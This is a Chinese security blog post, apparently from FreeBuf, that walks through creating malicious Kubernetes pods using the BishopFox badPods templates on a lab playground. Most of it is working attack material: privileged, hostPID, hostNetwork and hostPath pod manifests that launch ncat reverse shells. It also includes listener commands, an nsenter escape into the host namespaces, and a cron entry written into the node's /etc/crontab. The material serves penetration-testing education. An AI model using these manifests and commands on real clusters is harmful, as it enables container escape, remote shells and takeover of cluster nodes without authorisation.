freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

【云原生安全】Bad Pods系列基础篇-创建恶意POD
2023-12-30 10:04:45

在线靶机

https://killercoda.com/kubernetes/scenario/a-playground

先决条件

  1. 能够访问到集群
  2. 有在至少一个命名空间中创建以下资源类型之一的RBAC权限:
    1. CronJob, DeamonSet, Deployment, Job, Pod, ReplicaSet, ReplicationController, StatefulSet
  1. 进入pod执行命令的RBAC权限或允许pod的反向shell到达您的网络策略。
  2. 没有强制执行pod安全策略,或者允许创建具有一个或多个安全敏感属性的pod的策略。

允许所有

创建Pod对象的YAML 配置文件

  • 该Pod对象名称 everything-allowed-revshell-pod;标签为 app: pentest;
  • 使用了宿主机(Node)的hostNetwork、hostPID、hostIPC(使用宿主机的 hostNetwork 会使 Pod 中的容器使用 Node 上的网络命名空间,这将使容器绕过 Kubernetes 的网络隔离措施,容器将能够与 Node 上的其他容器或 Pod 直接通信。使用 hostPID 选项允许容器使用 Node 上进程的 PID 命名空间,这意味着容器可以查看和操作 Node 上的所有进程。使用 hostIPC 选项允许容器使用 Node 的 IPC(进程间通信)命名空间,这意味着容器可以查看和操作 Node 上的所有 IPC 对象);
  • 启动的容器镜像名称 everything-allowed-pod,使用了 raesene/ncat 镜像并执行命令ncat --ssl $HOST $PORT -e /bin/bash;
  • 该容器被授予了特权模式 (privileged: true),容器运行时会拥有宿主机的权限;容器挂载了名为 noderoot 的卷,将宿主机(Node)的根目录(/)挂载到了容器(Pod)的 /host 目录下,使得容器可以访问宿主机的文件系统。
apiVersion: v1
kind: Pod
metadata:
  name: everything-allowed-revshell-pod
  labels:
    app: pentest
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: everything-allowed-pod
    image: raesene/ncat
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "ncat --ssl $HOST $PORT -e /bin/bash;" ]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: noderoot
  #nodeName: k8s-control-plane-node
  volumes:
  - name: noderoot
    hostPath:
      path: /

yaml中有一行注释#nodeName: k8s-control-plane-node,通过取消注释,并将 k8s-control-plane-node 更改为指定节点的名称,可以强制将该Pod调度到该节点上运行。

根据配置文件创建Pod

kubectl apply -f BadPod.yaml

1703901371_658f78bb09e96a304856a.png!small?1703901371434

kubectl get podsPod成功创建并运行

1703901436_658f78fc94c3801c15f89.png!small?1703901437068

攻击端监听并收到shell,此时已经获取到Pod权限

ncat --ssl -vlp 1234

1703901450_658f790a3db91121585b2.png!small?1703901450980

访问 /host 目录便可进入到宿主机的根目录

1703901475_658f7923ccdba91057f16.png!small?1703901477383

往宿主机中写入计划任务获取宿主机(Node)的shell (不知道是啥原因,shell一直没弹回来,这里就执行ping命令) DNSLOG平台: https://www.dddd.cam/

echo "* * * * * root ping -c 1 2sozz.log.cve.ink" >> /host/etc/crontab

cat /host/etc/crontab

1703901510_658f7946ee9d637da0782.png!small?1703901511620

接收到数据,说明计划任务成功执行

1703901525_658f79553f6d0b0e55fb2.png!small?1703901525944

删除Pod

kubectl delete pod everything-allowed-revshell-pod

目前获取了Pod和Node权限,还能进一步利用,等我下篇文章。

只允许Privileged+hostPid

创建Pod对象的YAML 配置文件

容器中设置了 hostPID 为 true,表示容器内进程使用的是宿主机的 PID 命名空间,还设置了 securityContext 的 privileged 为 true,表示容器运行时会拥有宿主机的权限,容器启动时执行了命令nsenter --target 1 --mount --uts --ipc --net --pid -- bash,命令意思是: 在容器内部运行的 nsenter 命令将容器加入到宿主机的 PID、mount、UTS、IPC、network 和 PID 命名空间中,以便于容器能够访问宿主机的进程、文件系统、网络等资源。

apiVersion: v1
kind: Pod
metadata:
  name: priv-and-hostpid-exec-pod
  labels:
    app: pentest
spec:
  hostPID: true
  containers:
  - name: priv-and-hostpid-pod
    image: ubuntu
    tty: true
    securityContext:
      privileged: true
    command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
  #nodeName: k8s-control-plane-node

创建Pod,检查Pod,

kubectl apply -f BadPod.yaml

kubectl get pods

1703901548_658f796c0aa5e87f3dc5c.png!small?1703901548497

进入Pod Shell

kubectl exec -it priv-and-hostpid-exec-pod -- bash

1703901566_658f797e2e4d8703c5b87.png!small?1703901566664

在Pod的Shell中执行top命令可发现一些敏感进程,说明容器能够访问宿主机的进程、文件系统、网络等资源

1703901580_658f798c4c9f4056f8da0.png!small?1703901582090

若只允许Privileged,进入Pod的Shell中,则top命令执行结果如下

1703901591_658f79979640307ad8e4d.png!small?1703901592210

相关Pod如下

apiVersion: v1
kind: Pod
metadata:
  name: priv-exec-pod
  labels:
    app: pentest
spec:
  containers:
  - name: priv-pod
    image: ubuntu
    securityContext:
      privileged: true
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  #nodeName: k8s-control-plane-node

删除Pod

kubectl delete pod priv-and-hostpid-exec-pod

目前获取了Pod权限和Node部分权限,还能进一步利用,等我下篇文章。

只允许Privileged

设置了 securityContext 的 privileged 为 true,表示容器运行时会拥有宿主机的权限。

apiVersion: v1
kind: Pod
metadata:
  name: priv-revshell-pod
  labels:
    app: pentest
spec:
  containers:
  - name: priv-pod
    image: raesene/ncat
    securityContext:
      privileged: true
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "ncat --ssl $HOST $PORT -e /bin/bash;" ]
  #nodeName: k8s-control-plane-node

创建Pod,检查Pod,攻击端NC监听端口

kubectl apply -f BadPod.yaml

kubectl get pods

ncat --ssl -vlp 1234

1703901616_658f79b0ed35deb796936.png!small?1703901618281

删除Pod

kubectl delete pod priv-exec-pod

目前只获取了Pod权限,还能进一步利用,等我下篇文章。

只允许hostPath

反弹shell并将宿主机(Node)的根目录(/)挂载到了容器(Pod)的 /host 目录下,使得容器可以访问宿主机的文件系统。

apiVersion: v1
kind: Pod
metadata:
  name: hostpath-revshell-pod
  labels:
    app: pentest
spec:
  containers:
  - name: hostpath-revshell-pod
    image: raesene/ncat
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "ncat --ssl $HOST $PORT -e /bin/bash;" ]
  #nodeName: k8s-control-plane-node
  volumes:
  - name: noderoot
    hostPath:
      path: /

过程和前几个一样~

操作完毕后只获取了Pod权限和访问Node文件系统的权限,还能进一步利用,等我下篇文章。

只允许hostPid

hostPID: true 表示容器将共享宿主机的 PID 命名空间,也就是说容器内的进程与宿主机上的进程在同一个命名空间中运行。

apiVersion: v1
kind: Pod
metadata:
  name: hostpid-revshell-pod
  labels:
    app: pentest
spec:
  hostPID: true
  containers:
  - name: hostpid-pod
    image: raesene/ncat
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "ncat --ssl $HOST $PORT -e /bin/bash;" ]
  #nodeName: k8s-control-plane-node

创建完毕后只获取了Pod权限和共享宿主机的 PID 命名空间,还能进一步利用,等我下篇文章。。

只允许hostNetwork

hostNetwork: true 表示该容器将直接使用宿主机的网络命名空间,而不是一个独立的网络命名空间。这意味着该容器可以直接访问宿主机的网络资源。

apiVersion: v1
kind: Pod
metadata:
  name: hostnetwork-exec-pod
  labels:
    app: pentest
spec:
  hostNetwork: true
  containers:
  - name: hostnetwork-pod
    image: ubuntu
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  #nodeName: k8s-control-plane-node

创建完毕后只获取了Pod权限和使用宿主机的网络命名空间,还能进一步利用,等我下篇文章。

只允许hostIPC

hostIPC: true 表示该容器将使用宿主机的 IPC命名空间。这允许容器与主机上的其他进程进行通信。

apiVersion: v1
kind: Pod
metadata:
  name: hostipc-revshell-pod
  labels:
    app: pentest
spec:
  hostIPC: true
  containers:
  - name: hostipc
    image: raesene/ncat
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "ncat --ssl $HOST $PORT -e /bin/bash;" ]
  #nodeName: k8s-control-plane-node

创建完毕后只获取了Pod权限和使用宿主机的 IPC命名空间,还能进一步利用,等我下篇文章。

无允许

啥都没,就一个光秃秃的Pod。

apiVersion: v1
kind: Pod
metadata:
  name: nothing-allowed-revshell-pod
  labels:
    app: pentest
spec:
  containers:
  - name: nothing-allowed-pod
    image: raesene/ncat
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "ncat --ssl $HOST $PORT -e /bin/bash;" ]
  #nodeName: k8s-control-plane-node

创建完毕后只获取了Pod权限,还能进一步利用,等我下篇文章。

项目地址

https://github.com/BishopFox/badPods

# 云安全 # Kubernetes,渗透测试 # Kubernetes漏洞 # Kubernetes安全 # Kubernetes集群
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录